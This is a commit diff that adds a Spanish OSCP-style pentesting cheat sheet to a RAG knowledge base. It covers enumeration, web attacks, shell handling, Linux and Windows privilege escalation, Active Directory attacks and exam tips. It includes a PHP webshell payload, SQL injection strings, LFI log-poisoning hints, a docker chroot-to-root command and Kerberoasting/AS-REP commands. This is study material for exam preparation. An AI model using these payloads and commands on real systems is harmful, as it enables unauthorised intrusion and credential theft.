saber: pack de metodologia publico (conocimiento/) + doc del RAG
El repo trae ahora ~73 docs de metodologia de pentesting (estilo OSCP, scrubeados de datos personales) que indexa.py indexa: un clon recien hecho ya sabe de enumeracion, explotacion web, shells, privesc, Active Directory, cracking... con los comandos, sin ningun dato privado. docs/rag.md lo refleja.
This commit is contained in:
parent
12987539a4
commit
7e06ce46cf
76 changed files with 2682 additions and 8 deletions
232
nucleo/saber/conocimiento/trucos_trampas.md
Normal file
232
nucleo/saber/conocimiento/trucos_trampas.md
Normal file
|
|
@ -0,0 +1,232 @@
|
|||
# Trucos y Trampas — OSCP / Pentest
|
||||
|
||||
> Compilado de cultura pública (TJ Null, ippsec, 0xdf, Heath Adams, /r/oscp, HackTricks, foros HTB).
|
||||
> **No** son contenidos del Discord privado de OffSec ni material bajo NDA.
|
||||
> Son **anti-rabbit-holes**, **detalles olvidados** y **patrones que se repiten** en máquinas estilo OSCP.
|
||||
|
||||
---
|
||||
|
||||
## Trampas de enumeración (donde la gente pierde 4 horas)
|
||||
|
||||
```
|
||||
─ Olvidar UDP ────────────────────────────────────────────
|
||||
nmap -sU --top-ports 50 -T4 IP
|
||||
SNMP (161), TFTP (69), NTP (123) suelen dar oro
|
||||
|
||||
─ Olvidar puertos altos ──────────────────────────────────
|
||||
nmap solo escanea top 1000 por defecto
|
||||
SIEMPRE: nmap -p- --min-rate=5000 IP (los 65535)
|
||||
|
||||
─ Olvidar vhosts/subdominios ─────────────────────────────
|
||||
Si te encuentras "default Apache page", prueba:
|
||||
gobuster vhost -u http://IP -w /usr/share/seclists/Discovery/DNS/...
|
||||
ffuf -H "Host: FUZZ.objetivo.htb" -u http://IP
|
||||
|
||||
─ /etc/hosts no actualizado ──────────────────────────────
|
||||
Si la web carga rara o redirige, mira el "Host:" header
|
||||
Añade el dominio a /etc/hosts SIEMPRE que aparezca
|
||||
|
||||
─ HTTPS revela hostnames ─────────────────────────────────
|
||||
openssl s_client -connect IP:443
|
||||
El cert te puede chivar el dominio real
|
||||
|
||||
─ Wordlists pequeñas ─────────────────────────────────────
|
||||
common.txt = junior level
|
||||
Para OSCP: raft-large-words.txt, directory-list-2.3-medium.txt
|
||||
gobuster -w /usr/share/seclists/Discovery/Web-Content/raft-large-...
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
## Trampas web
|
||||
|
||||
```
|
||||
─ "robots.txt es perezoso" ───────────────────────────────
|
||||
Mira también: sitemap.xml, .git/, .svn/, .htaccess,
|
||||
.DS_Store, backup/, old/, dev/, test/, admin/
|
||||
|
||||
─ Source HTML / JS ───────────────────────────────────────
|
||||
Ctrl+U siempre. Comentarios con creds, paths, endpoints
|
||||
JS embebidos con APIs ocultas (LinkFinder, JSparser)
|
||||
|
||||
─ LFI → RCE ──────────────────────────────────────────────
|
||||
Si tienes LFI básico, prueba:
|
||||
/proc/self/environ (con User-Agent malicioso)
|
||||
/var/log/apache2/access.log (poison + curl con UA payload)
|
||||
php://filter/convert.base64-encode/resource=index.php
|
||||
data://, expect://, phar:// (PHP wrappers)
|
||||
|
||||
─ Upload "filtrado" ──────────────────────────────────────
|
||||
Doble extensión: shell.php.jpg, shell.phtml, .phar, .pht
|
||||
Magic bytes: GIF89a;<?php system($_GET['c']); ?>
|
||||
Burp → cambia Content-Type a image/jpeg
|
||||
.htaccess para reasignar handler
|
||||
|
||||
─ SQLi sin sqlmap ────────────────────────────────────────
|
||||
Aprende manual primero. sqlmap a veces miente.
|
||||
Para login: ' OR '1'='1'-- - (con space-doble-dash-space)
|
||||
Time-based: ' AND SLEEP(5)-- -
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
## Trampas de shell
|
||||
|
||||
```
|
||||
─ Shell rota = tortura ────────────────────────────────────
|
||||
python3 -c 'import pty; pty.spawn("/bin/bash")'
|
||||
Ctrl+Z
|
||||
stty raw -echo; fg
|
||||
export TERM=xterm
|
||||
stty rows 40 columns 120
|
||||
(rows/cols los sacas con "stty size" en TU kali)
|
||||
|
||||
─ Listener equivocado ────────────────────────────────────
|
||||
nc clásico para Linux victim
|
||||
ncat --ssl para evitar IDS
|
||||
stty raw -echo + nc para Windows ConPtyShell
|
||||
|
||||
─ Egress filtering ───────────────────────────────────────
|
||||
El firewall del objetivo bloquea ciertos puertos
|
||||
PRUEBA: 80, 443, 8080, 53, 4444. Si nada, ICMP shell.
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
## Privesc Linux — los 10 olvidados
|
||||
|
||||
```
|
||||
1. SUID exóticos → find / -perm -4000 2>/dev/null
|
||||
(y luego GTFOBins cada uno)
|
||||
2. sudo -l → SIEMPRE primero, sin password
|
||||
3. Capabilities → getcap -r / 2>/dev/null
|
||||
(cap_setuid en python/perl = root)
|
||||
4. Cron escribibles → cat /etc/crontab, /var/spool/cron
|
||||
Scripts que tú puedes editar
|
||||
5. Wildcard injection→ "tar czf /backup/* " con file --checkpoint
|
||||
6. PATH abuse → si un script SUID llama "ps" sin ruta
|
||||
absoluta, creas ./ps malicioso
|
||||
7. NFS no_root_squash→ showmount -e ; montas y subes SUID
|
||||
8. Docker group → si estás en grupo "docker", eres root:
|
||||
docker run -v /:/mnt -it alpine chroot /mnt
|
||||
9. Kernel exploits → último recurso. DirtyCow, DirtyPipe
|
||||
(uname -a; searchsploit kernel x.x)
|
||||
10. Caps de archivo → /var/backups, /etc/passwd escribible,
|
||||
/etc/shadow legible
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
## Privesc Windows — los 10 olvidados
|
||||
|
||||
```
|
||||
1. whoami /priv → busca SeImpersonate, SeAssignPrimaryToken
|
||||
→ JuicyPotato, PrintSpoofer, GodPotato
|
||||
2. Unquoted services → wmic service get name,pathname,startmode
|
||||
Path con espacios sin comillas + carpeta
|
||||
escribible = exe propio
|
||||
3. AlwaysInstallElev → reg query HKLM\Software\Policies\Microsoft\
|
||||
Windows\Installer
|
||||
Si ambos = 1 → msi propio = SYSTEM
|
||||
4. Service permisos → accesschk.exe -uwcqv user *
|
||||
SERVICE_CHANGE_CONFIG = ownership
|
||||
5. Credenciales en disco→ recurse find:
|
||||
Unattend.xml, sysprep.inf, web.config,
|
||||
cmdkey /list, registry SAM/SYSTEM
|
||||
6. AutoLogon en regis→ HKLM\SOFTWARE\Microsoft\Windows NT\
|
||||
CurrentVersion\Winlogon
|
||||
7. Pass spraying → la misma pass del user normal contra
|
||||
admin, administrator, sa, sysadmin
|
||||
8. WSL / OpenSSH server → veces hay credenciales en .bash_history
|
||||
9. Scheduled tasks → schtasks /query /fo LIST /v
|
||||
Tareas con scripts editables
|
||||
10. UAC bypass + token impersonation
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
## Active Directory — los 7 caminos que SIEMPRE pruebas
|
||||
|
||||
```
|
||||
1. Anonymous SMB → smbclient -L //IP -N
|
||||
nxc smb IP -u "" -p ""
|
||||
2. AS-REP Roasting → impacket-GetNPUsers dominio/ -usersfile users.txt -no-pass
|
||||
(usuarios con "Do not require pre-auth")
|
||||
3. Kerberoasting → impacket-GetUserSPNs dominio/user:pass -request
|
||||
(cuentas de servicio con SPN)
|
||||
4. GPP cpassword → buscar en \\DC\SYSVOL\<dom>\Policies\
|
||||
Groups.xml con cpassword (rotos en clave AES fija)
|
||||
5. LAPS → nxc ldap IP -u u -p p --module laps
|
||||
6. ACL abuses → BloodHound te los pinta:
|
||||
GenericAll, WriteDACL, AddMember, ForceChangePassword
|
||||
7. DCSync → con permisos DS-Replication, dumpear todo el dominio
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
## Trampas de "examen real" (anti-pánico)
|
||||
|
||||
```
|
||||
─ Time management ────────────────────────────────────────
|
||||
24h ≠ 24h. Duermes 6h. Comes. Te duchas.
|
||||
Regla: 1.5h sin progreso = cambia de máquina.
|
||||
Cierra y vuelve más tarde con cabeza fresca.
|
||||
|
||||
─ Documentación EN VIVO ──────────────────────────────────
|
||||
Captura TODO con Flameshot/Greenshot mientras lo haces.
|
||||
No al final. Al final no recuerdas el comando exacto.
|
||||
Cada flag con hostname visible (ipconfig/ifconfig).
|
||||
local.txt = user proof, proof.txt = root proof.
|
||||
|
||||
─ Reutilización de credenciales ──────────────────────────
|
||||
La pass del usuario A muchas veces vale para usuario B.
|
||||
PRUEBA siempre cada pass que pillas contra TODOS los hosts.
|
||||
|
||||
─ El AD set es 40 puntos seguidos ────────────────────────
|
||||
3 máquinas encadenadas. Si te atascas en máquina 1,
|
||||
no avanzas en 2 y 3. Empieza por ahí con tiempo.
|
||||
|
||||
─ Standalones independientes ─────────────────────────────
|
||||
3 máquinas independientes de 20pts cada una.
|
||||
user (10pt) + root (20pt). Saca user de las 3
|
||||
ANTES de obsesionarte con root de una.
|
||||
|
||||
─ Reporte cuenta ─────────────────────────────────────────
|
||||
Sin reporte, no apruebas, aunque saques 100 puntos
|
||||
técnicos. 24h después del examen. Markdown template:
|
||||
https://github.com/noraj/OSCP-Exam-Report-Template-Markdown
|
||||
|
||||
─ Metasploit limitado ────────────────────────────────────
|
||||
Puedes usarlo solo en UNA máquina.
|
||||
meterpreter post-explotation no cuenta como "uso"
|
||||
solo el initial foothold cuenta.
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
## Recursos públicos donde sí está todo esto
|
||||
|
||||
| Recurso | Por qué importa |
|
||||
|---|---|
|
||||
| **TJ Null's OSCP-like list** (en Reddit) | Lista actualizada de máquinas HTB/THM equivalentes a OSCP |
|
||||
| **ippsec.rocks** | Buscador de writeups por técnica ("kerberoasting" → te lista todas las máquinas HTB donde aparece) |
|
||||
| **0xdf.gitlab.io** | Writeups detalladísimos con explicación pedagógica |
|
||||
| **PayloadsAllTheThings** | Cheatsheet de todo lo web |
|
||||
| **HackTricks (book.hacktricks.xyz)** | La biblia. Lo busques lo que busques está ahí |
|
||||
| **GTFOBins / LOLBAS** | Para privesc Linux y LOLBins Windows |
|
||||
| **/r/oscp** | Subreddit con experiencias de examinados (sin spoilers) |
|
||||
| **Discord públicos**: HTB, TryHackMe, NetSecFocus | Comunidades activas que SÍ puedes consultar |
|
||||
|
||||
---
|
||||
|
||||
## Truco meta de meta-trucos
|
||||
|
||||
El truco real del OSCP no es saber 200 técnicas. Es **tener una metodología repetible**:
|
||||
|
||||
```
|
||||
Enumeración exhaustiva → vector → foothold →
|
||||
PrivEsc con script automatizado + revisión manual →
|
||||
documentar antes de pasar a siguiente máquina
|
||||
```
|
||||
|
||||
La gente suspende por **saltarse pasos** o por **obsesionarse con un vector**, no por desconocimiento técnico.
|
||||
Loading…
Add table
Add a link
Reference in a new issue